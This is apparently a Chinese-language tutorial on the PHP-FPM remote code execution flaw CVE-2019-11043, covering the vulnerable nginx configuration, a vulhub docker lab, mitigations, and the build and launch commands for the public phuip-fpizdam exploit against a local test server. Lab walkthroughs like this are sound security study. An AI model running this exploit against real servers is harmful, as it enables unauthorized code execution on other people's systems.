PHP-FPM远程代码执⾏漏洞
漏洞简介
国外安全研究员 Andrew Danau在解决⼀道 CTF 题⽬时发现, 向⽬标服务器 URL 发送 %0a 符号时, 服务返回异常, 疑似存在漏洞
2019年10⽉23⽇, github公开漏洞相关的详情以及exp.当nginx配置不当时, 会导致php-fpm远程任意代码执⾏
影响组件
Nginx + FPM + PHP7
漏洞指纹
Nginx
PHP
Nextcloud
漏洞分析
该漏洞需要在f中进⾏特定配置才能触发。具体配置如下:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass  php:9000;
...}
攻击者可以使⽤换⾏符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从⽽触发该漏洞
安装 golang 环境
apt install golang
⽤docker-compose快速搭建漏洞环境
vulhubgit clone github/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
docker-compose up -d
安装成功之后就可以在浏览器看到helloworld页⾯了
安装漏洞利⽤⼯具
git clone github/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build
构造成功后会多⼀个phuip-fpizdam⽂件
漏洞利⽤
go run . "127.0.0.1:8080/index.php"
在浏览器中加上a参数值位想执⾏的代码即可
多执⾏⼏次即可
防护⽅法
升级到最新版php
修改nginx配置

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。